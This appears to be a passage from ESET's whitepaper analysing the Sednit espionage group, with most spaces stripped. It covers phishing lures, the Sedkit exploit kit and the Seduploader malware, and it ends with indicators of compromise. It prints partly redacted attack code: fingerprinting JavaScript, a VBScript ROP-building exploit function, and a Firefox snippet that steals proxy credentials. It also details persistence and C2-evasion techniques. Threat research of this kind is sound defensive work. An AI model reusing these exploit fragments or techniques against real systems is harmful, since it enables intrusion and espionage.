TheRTFattachmentexploitstheCVE-2015-1641vulnerability[24]todroptwoDLLsonthesystem, asdescribedbyPrevenity[25].ThefirstDLLloadseachtimeaMicrosoftOfficeapplicationisexecuted, byregisteringitunderaWindowsRegistrykeynamedOffice Test(seeIOCsectionfordetails).
ThisDLLinturnloadsthesecondone,whichisSeduploaderspayload.
Interestingly,thedecoydocumentwasapparentlywronglyembeddedwhenbuildingtheexploit, andthusfailstoopen.
Fromtheattachmentname,wecanspeculatethatitwassupposed tobeanRTFversionofanewsarticleentitledPutinIsBeingPushedtoAbandonHisConciliatory ApproachtotheWestandPrepareforWar[29].
ThisparticularcaseisoneamongaseriesofattacksusingtheCVE-2015-1641vulnerabilitylaunched fromApril2016bytheSednitgroup[30](moredetailsintheIOCsection).
Good afternoon Attached you can find the document on Russia and the European Union aggravation of relations.
Yours faithfully, Vasyl Stasiuk.
Ukrainian Academic Union, 02140, Ukraine, Kiev, Prospect Bazhana Mykoly, 26, office 334 En Route with Sednit 17 Sedkit: Exploit Kit for Targeted Attacks ThesecondmainattackmethodoftheSednitgroupisanexploitkit,whichwenamedSedkit.
ItwasdiscoveredbyESETresearchersinSeptember2014[23].Atthistime,severalwebsitesbelonging toalargefinancialinstitutioninPolandweremodifiedtoautomaticallyredirectthevisitors totheexploitkitalsoknownasawateringholeattack[31].
TheworkflowoftheSedkitexploitkithasstayedthesamesinceitsfirstappearance.
Itisshown in Figure 9,anddescribedbelow.
Figure 9.
Sedkit workflow Attracting Visitors Aspreviouslyexplained,thetargetswereinitiallyattractedtovisitSedkitviaawateringhole attacks.
Butsincethen,theusualwaytolurethetargetshasbeentosendtargetedphishing emailscontainingaURLpointingtoSedkit.
Figure 10showsanexampleofsuchatargetedphishing emailfromMarch2016.
Figure 10.
Example of Sedkit targeted phishing email from March 2016 ThisemailsupposedlycomesfromStratfor [32],anintelligencecompanyprovidingregularreports ongeopolitics.
Whiletheemailsignatureandsenderaddressarecorrect,thedomainname intheURLisnotstratfor.combeingthelegitimateStratfordomainname.
Also,theURIpath closelyresemblesthepathofanexistingarticleontheStratforwebsite(/weekly/ruthless-and- sober-syria),theonlydifferencebeingtheinsertionofanIDnumber(51586),whichlikelyidentifies thetarget.
Attracting visitors Fingerprinting Delivering exploits Redirection to legitimate website Visitors not selected Visitors selected En Route with Sednit 18 Theattentivereadermayhavenoticedthattheemailbodytextcontainsa typingmistake:SratforratherthanStratfor,indicatingthatthistextwas notcopiedbutmanuallywrittenbytheattackers.
Suchtypingmistakesare commoninSednitphishingemails.
Usinglegitimatenewsarticlesaslures,withURLsmimickingtherealones,istheusualway ofattractingvisitorstoSedkitsince2015.Table 2showssomerecentexamplesofnewsarticles mimickedbySedkitURLs.
Table 2.
Examples of Sedkit lure news articles (see IOC Section for other Sedkit domain names) Sedkit domain name Legitimate domain name Legitimate news article title theguardiannews.org theguardian.com Westsmilitaryadvantageisbeingeroded, reportwarns worldpoliticsreviews.
com worldpoliticsreview.com DespiteISISAttacks,NorthKoreaRemains theVarsityofGlobalThreats worldpostjournal.com huffingtonpost.com TakingWarSeriously:aRussia-NATOShowdown IsNoLongerJustFiction reuters-press.com reuters.com RussiawarnsTurkeyoverAegeanwarship incident unian-news.info unian.info IraqwarnsofattacksbeforeParisassault Thesenewsarticlesnotonlyserveasphishingclickbait,butalsoasawaytohidetheexploitation attempt.
Indeed,thevisitorwillberedirectedtotherealnewsarticleafterhavingbeenexploited.
Visitorsnotselectedforexploitation,asexplainedbelow,willalsoberedirected.
Thus,thetarget willbeleftundertheimpressionthatthephishingemailwasactuallylegitimate.
Inordertobeeffective,thelureneedstoberelatedtothetargetsinterests.
Whileinmostcasesweanalyzedthelurewasanewsarticleaboutgeopolitics, wealsofoundafewcasesusingwebsitesoflegitimateRussiancompanies aslures.
En Route with Sednit 19 Fingerprinting OncethetargetclicksonthephishingURL,thebrowserisredirectedtotheSedkitlandingpage.
Thepurposeofthispageistobuildareportofthevisitorsmachine.
Todoso,itcontainsover 200linesofJavaScriptcode(oncebeautified)thatcollectvariousdata.
ThelandingpagecodehasstayedthesamesinceMarch2015,andanannotated,beautifiedextract isshownbelow.
TheJavaScriptcommentsarefromthedevelopers,whilethevariablestring_of_json istheactualreportbuiltasaJSONobject.
Collectthevisitorstimezone CollectinformationonthevisitorsbrowserbyenumeratingthepropertiesoftheJavaScripts navigatorobject[33] Collectinformationonthevisitorsscreen,byenumeratingthepropertiesoftheJavaScripts screenobject[34] Collectthelistofinstalledbrowserplugins,withspecificmethodsinthecaseofInternet Explorer11,andwithgenericmethodsotherwise string_of_json  \timezone\  :  getTimeZone()  , for(var prop in navigator) string_of_json  ...[REDACTED]...  string_of_json  \screen\: for(var prop in screen) string_of_json  ...[REDACTED]...  string_of_json  \plugins\:[ //string_of_json  DetectJavaForMSIE() if(navigator.userAgent.indexOf(MSIE)  -1 navigator.userAgent.indexOf(Trident\/7.0)  -1)  string_of_json  DetectJavaForMSIE() string_of_json  DetectFlashForMSIE() string_of_json  EnumeratePlugins() //string_of_json  DetectPdfForMSIE() //string_of_json  DetectFlashForMSIE()  else  string_of_json  EnumeratePlugins()  En Route with Sednit 20 AnexampleofaSedkitreportproducedbythelandingpageisshowninFigure 11.
Figure 11.
Example of a Sedkit report ThereportisthensentwithinanHTTP POSTrequesttoaURIhardcodedinthelandingpagecode.
AnexampleofsuchaURIisshownbelow: ThishardcodedURIpathisdifferenteachtimethelandingpageisvisited,andonlyworksforalimited amountoftime.
Thisprobablyservestopreventsecurityresearchersfromsendingspeciallycrafted reportsdirectlytoSedkitservers,inordertocollecttheexploits.
Theonlyway(weknowof)tovisit theexploitkitistopassthroughalandingpageURLfirst,whichcanbedifficultduetothelimited distributionofthephishingemailscontainingthoseURLs.
Again,theselandingpageURLsareactive forashorttime.
Then,dependingonthereport,thevisitormayreceiveasuitableexploit,orberedirected tothelegitimatewebsitetheemaillurewasbasedon,asshowninFigure9.Giventheamount ofinformationcontainedinthereport,theoperatorscanverypreciselyselectthevisitorstoexploit, andthosetofilterout.
Theexactlogicbehindthisselectionisunknowntous,andremainsone ofthemajoropenquestionsregardingSedkit.
xmlHttp.open(POST, /tlPDH/DoHK/oZx0/65902/9751/?adv4792w1cwXqTKEaLTp114846 44566plsES3Soc9780071w1676193341) En Route with Sednit 21 Delivering Exploits LandingpagevisitorsmatchingtheSedkitoperatorscriteriathenreceiveanexploitsuitable fortheirmachines.
SinceSedkitsfirstappearance,numerousexploitshavebeenadded.
Table 3 liststheexploitedvulnerabilitieswehaveobservedduringourtrackingofSedkit.
Table 3.
Sedkit exploited vulnerabilities ID Targeted Application Notes Reference CVE-2013-1347 [35] InternetExplorer8 [23] CVE-2013-3897 [36] InternetExplorer8 [23] CVE-2014-1510 [37] CVE-2014-1511 [38] Firefox None CVE-2014-1776 [39] InternetExplorer11 [23] CVE-2014-6332 [40] InternetExplorer Seebelow N/A MacKeeper OSXcleaning tooldevelopedby aUkrainiancompany [41] CVE-2015-2590 [42] CVE-2015-4902 [43] Java 0-dayatthetime Sedkitusedit [44] CVE-2015-3043 [45] AdobeFlash 0-dayatthetime Sedkitusedit [46] CVE-2015-5119 [47] AdobeFlash RevampedfromHacking Teamleakeddata [48] CVE-2015-7645 [49] AdobeFlash 0-dayatthetime Sedkitusedit [50] TheendgoaloftheseexploitsistodownloadandexecuteSednitmalware,usuallySeduploaders dropper.
MostoftheseexploitsandtheirusebySednithavealreadybeendocumented,asmentioned intheReferencecolumnofTable 3.Nevertheless,wewilldescribethespecificcaseofthe CVE-2014-6332vulnerabilityexploitation,asitisagoodexampleofSednitsabilities, andtothebestofourknowledgehasnotbeendocumentedpreviously.
ThevulnerabilityCVE-2014-6332wasdiscoveredinMay2014byanIBMX-Forcesecurityresearcher[51], andaffectedInternetExplorerversions3through11.Roughlysummarized,thevulnerability isanintegeroverflowintheInternetExplorerVBScriptenginethatallowedarbitraryread/write inmemory.
En Route with Sednit 22 Soonafterthedisclosure,aproof-of-conceptwasreleasedbyaChinesesecurityresearcher[52].
Theproof-of-conceptusedthevulnerabilitytodisableInternetExplorersSafeMode,sothatarbitrary VBScriptcodecouldbeexecuted.
Numerousmiscreantsthenintegratedrevampedversions ofthisproof-of-conceptintotheirtoolsets,andtheSednitgroupwasnoexception.
Indeed, inOctober2015asimplerevampedversionoftheoriginalproof-of-conceptwasaddedtoSedkit.
ButtheSednitgroupwentonestepfurtherinFebruary2016bydeployingadifferentexploit forthisvulnerability.
ThistimethepurposeoftheexploitwasnottodisableSafeMode,butrather towriteaReturn-OrientedProgramming(ROP)shellcodeinmemory,andtoexecuteit.
Todoso, theexploitdevelopersimplementednumeroushelperfunctionsinVBScript,resultinginover400lines ofcode.
Forexample,thebeautifiedcodeinchargeofbuildingtheROPshellcodeisshownbelow: Wedidnotfindanyre-useofthiscodebyothergroupsofattackers,leadingustobelieve itwasspecificallydevelopedby,orfor,theSednitgroup.
function createROP() On Error Resume Next shell_string  Unescape(u8b64u002d...[REDACTED]) [REDACTED] ie_11_case(ole32_base) addToROP(ie_11_case_addr) addToROP(rop_case_addr) addToROP(h04040404) addToROP(vp_address) addToROP(h04040404) addToROP(shell_addr) addToROP(shell_addr) addToROP(h1000) addToROP(h40) addToROP(shell_addr1000) ab(3)  rop_string end function En Route with Sednit 23 PartsofthiscodeseemtohavebeeninspiredbyapresentationatBlackHatUSA2014,where asecurityresearchernamedYangYupublishedsomeJavaScriptcoderelatedtoInternetExplorer exploitation[53].Asanexampleofthat,Figure 12showsoneparticularJavaScriptfunctionpublished ononeofhisslides.
Figure 12.
Slide extracted from a BlackHat USA 2014 presentation AndaverysimilarVBScriptfunctionintheSedkitexploitcodeisshownbelow: Inotherwords,theexploitdevelopersre-implementedsomeoftheideasoftheBlackHat presentationinVBScript,andimplementedtheROPpartthemselves.
WebelievethisisagoodexampleofthetechnicalabilitiesavailabletotheSednitgroup.
Thedeveloperswereabletounderstandacomplexexploitwellenoughtomaketheirownversion.
Wecanspeculatethatthepurposeofthatwastobypasssomesecurityproducts.
Italsoshows thatthesedevelopersarefollowingtechnicalsecuritypublications.
Conclusion and Open Questions Frompersonalizedphishingemailstoexploitkits,theSednitgroupinvestedalotofeffortinto itsattackmethodsoverthelasttwoyears.
Inparticular,thenumberof0-dayexploitsavailable tothegroupissurprisinglyhigh,showingasignificantresourcesattheirdisposal.
OnemajoropenquestionregardingtheSednitattackmethodsconcernsthecrawlingoftheSedkit exploitkit.
Indeed,theexactlogicoftheoperatorsinacceptingavisitorasatargetremainsunknown tous,andprobablydependsontheirobjectivesatthatmoment.
Giventhefactthattheexploitkit hasbeenthehomeofseveral0-dayexploitsinthepast,theabilitytoreceiveanexploitfromitwould surelybeinterestingfromaresearchperspective.
function GetBaseAddrByPoiAddr_ole32( PoiAddr ) BaseAddr  0 BaseAddr  PoiAddr And hFFFF0000 Do While readM(BaseAddr)h00905a4d BaseAddr  BaseAddr - h10000 Loop ole32_base  BaseAddr return BaseAddr end function En Route with Sednit 24 SEduPloAdER: TARgET ConfIRMATIon Identikit Seduploader serves as reconnaissance malware.
It is made up of two distinct components: a dropper and the per- sistent payload installed by this dropper.
Alternative Names JHUHUGIT, JKEYSKW Usage SeduploaderspayloadisadownloaderusedbySednitsoperators asreconnaissancemalware.
Ifthevictimisconsideredinteresting, Seduploaderisinstructedtodownloadaspyingbackdoor,like Sedreco or Xagent.
Known period of activity March2015toAugust2016(thetimeofthiswriting).Probably stillinuse.
Known deployment methods DownloadedbySedkit DroppedbyMicrosoftOfficeexploitsattachedtotargeted phishingemails Distinguishing characteristics The Seduploaderpayloadborrowspartsofitscodefrom Carberpaninfamousmalwarefamilywhosepartialsource codewasmadepublicasdocumentedbyF-Securein September2015[54] SeduploaderhasbeencompiledforWindowsandOSX (atleast) OlderSeduploaderdroppersamplescontainanunusual anti-analysistrickbasedonlargetemporaryfiles(named jhuhugit.temp,jhuhugit.tmp or jkeyskw.temp dependingontheversion) The Seduploaderpayloadimplementsthreedifferentmethods tocontactitsCCserver En Route with Sednit 25 Timeline Figure 13.
Seduploader major events ThedatespositedinthetimelinemainlyrelyonthecompilationtimestampsoftheSeduploader payloads.
Webelievethatthepayloadstimestampswerenottamperedwith,becausetheymatch ourtelemetrydata,asopposedtothedropperstimestamps.
Thedatesinthetimelinemaybelater thantheactualeventsthough,aswedonothaveallSeduploadersamplesbutenougharepresent togiveagoodapproximation.
Analysis WedefineSeduploaderasatwo-binarycomponent,comprisingadropperandthepayloadusually containedinthisdropper.
Whilethosetwohavesometimesbeenusedindependentlyofeachother, asshowninFigure2,theyusuallyaredeployedtogetherandremainthemost-usedfirst-stage malwareoftheSednitgroupsincethebeginningof2015.
ThepayloadcomponentofSeduploaderhasbeencompiledforWindowsandOSX,butouranalysis isbasedsolelyontheWindowsversion.
Nevertheless,theOSXversionisverysimilar,andhasbeen describedbyBAESystemsinJune2015[56].
Dropper Workflow TheworkflowofSeduploadersdroppercomponentcanbesummarizedbythefourstepspresented in Figure 14.Whileprettystraightforward,ithassomeinterestingdetailsthatwewilldescribe inthissection.
Figure 14.
Seduploaders dropper workflow Oldest known Seduploader sample Seduploader OS X version deployed with Sedkit using an exploit against MacKeeper Seduploaders dropper integrates a 0-day exploit for local privilege escalation (LPE) vulnerability Seduploader deployed with targeted phishing emails using an exploit for the Microsoft Office vulnerability CVE-2015-1641 MAR APR MAY JUN JUL MAY AUG 2015 2016 Seduploader deployed with targeted phishing emails using a 0-day exploit for the Microsoft Office vulnerability CVE-2015-2424 One week after the Hacking Team leak, Seduploaders dropper integrates a Hacking Team exploit for LPE vulnera- bility CVE-2015-2387 Most recently known Seduploader sample Anti-analysis trick Payload dropping Privilege escalation Payload persistence [56] [55] [57] [48] [58] En Route with Sednit 26 Anti-Analysis Trick Thedropperstartswithanunusualanti-analysistechnique,shownaspseudocodeinFigure 15.
Figure 15.
Anti-analysis trick pseudocode ThiscodeallocatesasmallmemorybufferBandsetsitstenthbytetothevalue42.Itthenwrites andreadsonemilliontimesintoanewlycreatedtemporaryfile1.Afterthatoperation,itchecks whetherthetenthbyteofBstillcontainsthevalue42.Ifthisisnotthecase,Seduploaderterminates itsexecution.
ThiscodeprimarilyservestodelayexecutionwithI/Ointensiveoperations,inordertoexhaust securityproductsanalysislimits.
Itmayalsodetectsecuritysoftwareemulatorsthatwrongly implementmemorymanagement,andhenceareunabletomaintainthecorrectstateofBdue tothenumberofoperationsperformed.
ThistechniquewaspresentinanotherdropperemployedbytheSednit groupin2014,whichwehavenotseensincethen.
Thistrickdisappeared fromSeduploaderinDecember2015probablybecauseitwaseasytospot andcouldbeusedtodetectthemalware.
Itwasthenreplacedbyamore commonanti-analysistechniquebasedontimemeasurement.
Additionally,importantstringsinSeduploadersdropperareencryptedwithasimpleXOR-based algorithm,andtheaddressesofimportantWindowsAPIfunctionsareresolveddynamically.
1 Thetemporaryfilecanbenamedjhuhugit.temp,jhuhugit.tmp or jkeyskw.tempdepending ontheSeduploaderversion En Route with Sednit 27 Payload Dropping ThecorelogicofSeduploadersdropperisimplementedinaCclassnamedUpLoader byitsdevelopers.
ThisclasshasevolvedseveraltimessinceSeduploadersfirstappearance, anditslastknownversioncontainstheeightmethodsdescribedinTable 4.
Table 4.
Methods of the UpLoader C class Method (ESET names) Purpose decrypt_in_place DecryptsthegivendatausingasimpleXOR-basedalgorithmanda10-bytekey decrypt_in_new_ memory Decryptsthegivendatausingthesamealgorithmasdecrypt_in_place,except thattheresultiswrittenintoanewlyallocatedmemorybuffer get_env_var Retrievesthevalueofanenvironmentvariable decrypt_embedded_ files Decryptsoneormoreembeddedfiles,withsomemetadata(namesandlocation inwhichtodropthem) decompress DecompressesagivenmemoryareausingWindowsAPIfunction RtlDecompressBuffer [59] drop Writesthecontentofagivenmemoryareaintoafileondisk execute_file Executesagivenfile,whichcanbeeitheraWindowslibrary,whoseexportnamed initwillthenbecalled,oranexecutable.
Ifthecurrentprocessrunsatsystem integritylevel[60],itensuresthatthechildprocessrunsatthesameintegrity level.
delete_file Deletesagivenfilefromthesystem UsingthoseCmethods,thedropperdecryptsanddecompressesitsembeddedpayload, whichconsistsofoneormorefiles.
Itthendropsthefilesondiskandexecutesthem.
Finally,before removingitselffromthemachine,thedroppermakesthepayloadpersistent,aswewilldescribe inthefollowingsections.
WeknowthedevelopersnamedthisclassUpLoaderbecausetheyleft Run-TimeTypeInformation(RTTI)[61] in some Seduploadersamples.
Additionally,thefollowingprogramdatabase(PDB)[62]pathoverlooked bythedevelopersinonesample,indicatesthatthebinaryitselfisnamed Uploader: ThesignificanceofotherpartsofthisPDBpathremainobscure,except fortheREDMINEpart,whichmayrefertoaprojectmanagementweb application[79].
D:\REDMINE\JOINER\HEADER_PAYLOAD\header_payload\Uploader\ Release\Uploader.pdb En Route with Sednit 28 Privilege Escalation Beforemakingthepayloadpersistentonthesystem,Seduploadermayexecutelocalprivilege escalationexploits.
SinceSeduploadersfirstappearance,thetwovulnerabilitiesdescribed in Table 5havebeenexploited,andbothwereunpatchedwhenfirstusedbytheSednitgroup.
Table 5.
Local privilege escalation vulnerabilities exploited by Seduploader Vulnerability Affected Platforms Period of Activity Notes CVE-2015-1701 [63] MicrosoftWindows Windows7 March-April2015 [64] CVE-2015-2387 [65] MicrosoftWindowsall versions July2015 [48] Payload Persistence Sinceitsinception,Seduploadersdropperhasemployedavarietyofpersistencemethods foritspayload,someofthemonlywhenrunningwithSYSTEMprivileges(thankstothepreviously mentionedexploits).Herearethemostcommonpersistencemethodsweobserved(detailsaregiven intheIOCsection): RegisterthepayloadundertheRunregistrykey [66].Whilethisisessentiallyaclassicmethod, SeduploaderemploysauncommontricktowriteintotheregistrybyexecutingJavaScript codewithintherundll32.exeprocess.
ThistechniquewasfirstseenintheWin32/Poweliks malwareinmid-2014[67],andhassincebeendocumentedindetail[68].
RegisterthepayloadasaWindowsservicethatwillrunatstartup.
Thismethodisused onlywhenrunningwithSYSTEMprivileges.
Registerthepayloadasascheduledtaskthatwillruneachtimethecurrentuserlogsin.
ThismethodisusedonlywhenrunningwithSYSTEMprivileges.
ReplacealegitimateWindowsCOMobject[69]withthepayload,sothatitwillbeloaded inanyprocessusingthatCOMobject.
Theexacthijackedobjectisaclassnamed MMDeviceEnumerator [70].ThistechniquehasalsobeenseeninthemalwareWin32/ COMpfun[71].
RegisterthepayloadasaShellIconOverlayhandlerCOMobject [72],sothatthepayloadwill beloadedeachtimeauserlogsin.
ThechosenCLSIDofthisobject(3543619C-D563-43f7- 95EA-4DA7E1CC396A)isalreadylegitimatelyusedinanInternetExplorerplug-inopen- sourceprojectnamedBHOinCPP[73],probablytoconfusedefenders.
RegisteraWindowsshellscriptundertheregistrykeyHKCU\Environment\ UserInitMprLogonScript,whichwillrunthepayloadatstartup.
Thisisalsoadocumented technique [74],yetnotwellknown.
Thismethodisusuallythepreferredonewhen SeduploaderdoesnotrunwithSYSTEMprivileges.
Thediversityofthesepersistencemethodsshowstheintensityofthedevelopmenteffortbehind Seduploader,andthatitsdevelopershaveagoodgraspofthecurrentliterature,asseveral ofthesetechniquesseemtohavebeeninspiredbyothermalware.
En Route with Sednit 29 Payload Workflow TheworkflowoftheSeduploaderpayloadispresentedinFigure 16.Thisbinarycanberoughly describedasafirst-stagereconnaissancetool,probablyusedtodistinguishsecurityresearchers performinganalysisfromrealtargets.
Inthissectionwedescribetheworkflowofthispayload asfoundinthemostrecentversion.
Figure 16.
Seduploaders payload workflow Initialization Network Link Establishment ThefirstoperationoftheSeduploaderpayloadistofindareliablewaytoreachitsCCserver ontheInternet,whichmaybedifficultdependingonthenetworksetupofthecompromised organization.
TotestwhetherthecompromisedmachineisconnectedtotheInternetwithout attractingattention,SeduploadertriestoreachGoogleserversoverHTTP,usuallygoogle.com or google.ru.
ThispartoftheSeduploadercodechangedseveraltimesoverthelastyearandcurrentlycontains threepossiblemeansofcommunication,picturedinFigure 17anddescribedbelow.
Figure 17.
Workflow of the network link establishment Configuration file download Reconnaissance report Network link establishment Main loop Payload execution Network link establishment Initialization Logs reporting Payload download Via proxy Google successfully contacted Direct connection Inject into running browser En Route with Sednit 30 1.
Direct Connection First,SeduploadersimplysendsanHTTP POSTrequesttoGooglewithapseudo-randomly-generated URIpath.
IftheHTTPstatuscodeintheansweriseither200(OK)or404(Not Found)themost likelyanswerbecausethereislittlechancethepseudo-randomURIpathexistsonGoogle websitesthenetworkconnectionisassumedtobeworking.
Inthisevent,Seduploader initializationcontinuestothenextstep.
Ontheotherhand,ifSeduploaderreceivesadifferentHTTPstatuscode,itmeanstheconnection hasbeenblocked(andhenceanylaterattempttoreachtheCCserverwillalsolikelybeblocked).
Inthiscase,Seduploadertriesanalternativemethodtoestablishthenetworklink,asdescribed inthenexttwosections.
Beforetestingtheconnection,Seduploaderchecksifthecomputerhas aworkingnetworkinterface.
Todoso,itsearchesforaninterfacewith anIPaddressdifferentfrom127.0.0.1and169.254.155.178.Thissecond IPaddressbelongstoIPv4Link-Localnetwork169.254.0.0/16,fromwhich anaddressisrandomlychosenbyacomputerfailingtoreceiveanIPaddress viaDHCPprotocol [75].Therefore,itmakesverylittlesensetocheck foraparticularIPaddressinthisnetwork,asalladdresseshavethesame probabilityofbeingchosen.
2.
Via Proxy SomeorganizationsforcetheircomputerstopassthroughanHTTPproxytoaccesstheInternet, whichmayexplainwhythepreviousdirectconnectiondidnotwork.
Tousetheproxy,Seduploader needstoretrieveitsIPaddressandTCPportnumber,plussomecredentials,ifneeded.
Toretrievethisinformation,SeduploadersearchesforproxyconfigurationsettingsintheFirefox browser,viathetwofollowingsteps: ItparsestheFirefoxpreferencefile(pref.js)tofindthenetwork.proxy.http andnetwork.proxy.http_port fields,respectively,containingtheproxyaddressandport number.
ItretrievestheproxycredentialsfromthecustomWindowsregistrykeyHKCU\Control Panel\Desktop\WeelScrInit.
Interestingly,thisregistrykeywascreatedduring theexploitationofthetargetbySedkit.
Forexample,thefollowingcodesnippetcomesfromaSedkitexploitagainstFirefox (CVE-2014-1510[37]),andsetstheregistrykeyWeelScrInittothevalueoftheHTTPfieldProxy- Authorization,afterarequesthasbeenmadetodownloadthepayload.
ThisHTTPfieldcontains thecredentialsforproxybasicauthentication,andcanbereusedformultiplerequests [76].
var channel  ioserv.newChannel(http:////[...REDACTED...]//cormac.mcr, 0, null) var my_chan_host  channel.getRequestHeader(Proxy-Authorization) try var wrk  Components.classes[mozilla.org/windows-registry- key1].createInstance(Components.interfaces.nsIWindowsRegKey) wrk.create(wrk.
ROOT_KEY_CURRENT_USER, Control Panel\\\\Desktop, wrk.
ACCESS_ WRITE) var id  wrk.writeStringValue(WeelScrInit, my_chan_host) wrk.close() catch (e) En Route with Sednit 31 Oncetheproxyinformationhasbeenretrieved,SeduploadersendsanHTTP POSTrequest toGoogleviatheproxyandcheckstheanswerstatuscode,inthesamewayaspreviouslydescribed.
WespeculatethatonlyFirefoxiscurrentlyimplementedbecauseSednit operatorshavehadtroubleestablishinganInternetconnectiononspecific targetsusingthisbrowser,whilethecodeinjectiontechniquedescribedbelow wasgoodenoughforotherbrowsers.
Theproxyinformationretrievalcode hasbeenbuiltsothatitcouldpossiblybeextendedtootherbrowsersthan Firefox,withtheuseofanabstractCclass.
3.
Inject Into a Running Browser Iftheproxymethodalsofails,Seduploaderinjectssomecodeintoarunningbrowser,whichmay allowittobypassnetworksecurityproducts.
Todoso,Seduploaderwaitsfortheusertolauncha browser,byregularlyenumeratingtherunningprocessesandcomparingthehashoftheirnames withsomehardcodedvalues.
ThehashfunctionisasimpleseriesofROL7operations,andTable6 showsthelistoftargetedbrowsers.
Table 6.
Targeted browsers Hash Process Name Browser Name 0x250DFA8F iexplore.exe InternetExplorer 0x7712FEAE firefox.exe Firefox 0xBD3CC33A chrome.exe GoogleChrome 0x7A38EBF3 opera.exe Opera 0x4A36ABF3 browser.exe YandexBrowser Ifabrowserisfoundrunning,Seduploaderinjectsashellcodeintoitsmemory,andcreates athreadinitwiththeCreateRemoteThreadWindowsAPI.ThisshellcodetriestocontactGooglein awaysimilartothatdescribedabove,andcommunicatestheresultbacktotheSeduploaderprocess throughsharedmemory.
ThissharedmemoryiscreatedwiththeWindowsAPIOpenFileMapping andbearsahardcoded,random-lookingname.
Ifallthetestedmethodsfail,Seduploaderwilltryallthemethodsagain,untilthereisaworking Internetconnection.
Reconnaissance Report Oncethenetworklinkhasbeenestablished,Seduploaderbuildsareportonthecompromised machineintheformofidXXXXXXw .
The idparametercontainstheserialnumberofthehard driveandservestoidentifythemachine,whilethewparametercontainstheactualreportwith thefollowinginformation: Listofrunningprocesses HarddriveinformationextractedfromWindowsregistrykeyHKLM\SYSTEM\ CurrentControlSet\Services\Disk\Enum(precededbydisk) Buildidentifier,whichisahardcoded4-bytevalue(precededbybuild) Optionalfieldnamedinjectindicatingwhetherthenetworklinkwasestablishedthrough browserinjection En Route with Sednit 32 Anexampleofsuchareportisshownbelow: Thereportisthenencryptedwithasimplealgorithm:apseudo-randomly-generated4-bytevalue isXORedwithahardcoded4-bytevalue(differentineachsample),andservesasakeytoXORthedata.
Theencrypteddataarethenappendedtothekey.
Finally,theresultingencrypteddataaresentasthebodyofanHTTP POSTrequest.
AllcommunicationswiththeCCserveraresentinthesamemanner.
ThebuildidentifierwasintroducedinMay2015.Betweenthenandwriting thisreportwehaveseen10differentvalues.
Main Loop Aftertheinitializationstep,thecodeentersitsmainloop,asdescribedinFigure15.Thisloop comprisesthefollowingsteps: 1.
Establishthenetworklink,withthesametestsasexecutedduringinitialization 2.
DownloadaconfigurationfilefromtheCCserver,bysendinganHTTP POSTrequestwith idXXXXXXc1inthebody(beforeencryption).Thisconfigurationfileprovidesinformation onhowtoretrieveandexecuteanadditionalpayload,anditsstructureisthefollowing (mostfieldsareoptional,andself-explanatory): 3.
DownloadapayloadexecutablefromtheCCserver,accordingtotheconfigurationfile, bysendinganHTTP POSTrequestwithidXXXXXXffile nameinthebody(before encryption) 4.
Runthepayloadexecutable,accordingtotheconfigurationfile 5.
ReporttotheCCserverthereturncodeoftheexecution(retrievedwiththeGetLastError API),bysendinganHTTP POSTrequestwithidXXXXXXlerror code idrAw[System Process] System smss.exe csrss.exe [REDACTED] diskSCSI\DiskVen_VMware_Prod_VMware_Virtual_S\[REDACTED] build0xb58f978f [file] Execute Delete [settings] Rundllexport name PathToSavepath FileNamefile name IPIP address [/settings] [/file] En Route with Sednit 33 Downloadingaconfigurationfilefirst,soasthentofetchapayloadbinary: thisisalsotheworkflowofDowndelph,describedinthethirdpartofthis whitepaper.
Moreover,SeduploaderandDowndelphsharesomewording intheirconfigurationfiles,whichmayindicatethatthesamedevelopers arebehindthetwocomponents.
Accordingtoourobservations,thepayloadbinaryisusuallyeitherSedreco or Xagent, thespyingbackdoorsoftheSednitgroup.
Conclusion and Open Questions Overthelastyear,Seduploaderbecamethemost-usedfirst-stagemalwareoftheSednitgroup.
Duringthistime,thiscomponenthasbeenunderintensedevelopment,forexamplebyadding persistencemethodstothedropper,orimprovingthepayloadsabilitytocontactitsCCserver.
ThepurposeofSeduploaderistwofold.
First,itservestoestablishanetworklinkbetweenthe compromisedmachineandtheCCserver,bypassingpossiblenetworksecuritymeasures.
Second, itservestocheckthattheinfectedcomputerbelongstoanintendedtarget(andinparticular,does notbelongtoasecurityresearcher).
Wedonotknowtheexactlogicusedtoselectcertaincomputersasbeinginterest.
Wespeculate thatSednitoperatorsknowquitepreciselythetargetsenvironmentinmanycases,becausethey hadalreadyinfectedcomputersbelongingtothesameorganizationinthepast.
Hencethesimple Seduploaderreportisinformativeenoughtoselectrealtargets.
En Route with Sednit 34 CloSIng REMARkS Theattackmethodsandmalwaredescribedinthisfirstpartofourwhitepaperdemonstrate thetechnicalabilitiesandthereviewoftheliteratureoftheSednitgroup.
Forexample,thegroup revampedthe0-dayexploitsfromtheHackingTeamdataleakonlyafewdaysaftertheirrelease, createdabrandnewexploitfortheCVE-2014-6332vulnerabilitybasedonapresentationatthe BlackHatconference,andregularlyintegratednovelpersistencemethodsintoSeduploader.
TheattackmethodsoftheSednitgrouparenotlimitedtothosedescribedinthiswhitepaper.
Inparticular,weknowfromseveralinvestigationsthattheyhave: TrojanizedsomelegitimateprivateapplicationsusedinsomeEasternEuropeanembassies, sothattheemployeeswouldbeinfectedwithspyingmalwarewhenrunningthemodified executable HackedintosomeLinuxserversusingaknownvulnerabilityforWordPress HackedintosomeZimbrawebmailserversusingaknownvulnerability Overall,theSednitgroupisalwayslookingfornewwaystoapproachitstargets, bothwithopportunisticstrategiesandbydevelopingitsownoriginalmethods.
En Route with Sednit 35 IndICAToRS of CoMPRoMISE Email Attachments ESET Detection Names Win32/Exploit.
CVE-2015-1641.H Win32/Exploit.
CVE-2015-2424.A Hashes 76053b58643d0630b39d8c9d3080d7db5d017020 9b276a0f5fd824c3dff638c5c127567c65222230 e7f7f6caaede6cc29c2e7e4888019f2d1be37cef ef755f3fa59960838fa2b37b7dedce83ce41f05c File Names Exercise_Noble_Partner_16.rtf Iran_nuclear_talks.rtf Putin_Is_Being_Pushed_to_Prepare_for_War.rtf Statement by the Spokesperson of European Union on the latest developments in eastern Ukraine.rtf Sedkit Domain Names aljazeera-news.com ausameetings.com bbc-press.org cnnpolitics.eu dailyforeignnews.com dailypoliticsnews.com defenceiq.us defencereview.eu diplomatnews.org euronews24.info euroreport24.com kg-news.org military-info.eu militaryadviser.org militaryobserver.net nato-hq.com nato-news.com natoint.com natopress.com osce-info.com osce-press.org pakistan-mofa.net politicalreview.eu politicsinform.com reuters-press.com shurl.biz stratforglobal.net thediplomat-press.com theguardiannews.org trend-news.org unian-news.info unitednationsnews.eu virusdefender.org worldmilitarynews.org worldpoliticsnews.org worldpoliticsreviews.com worldpostjournal.com En Route with Sednit 36 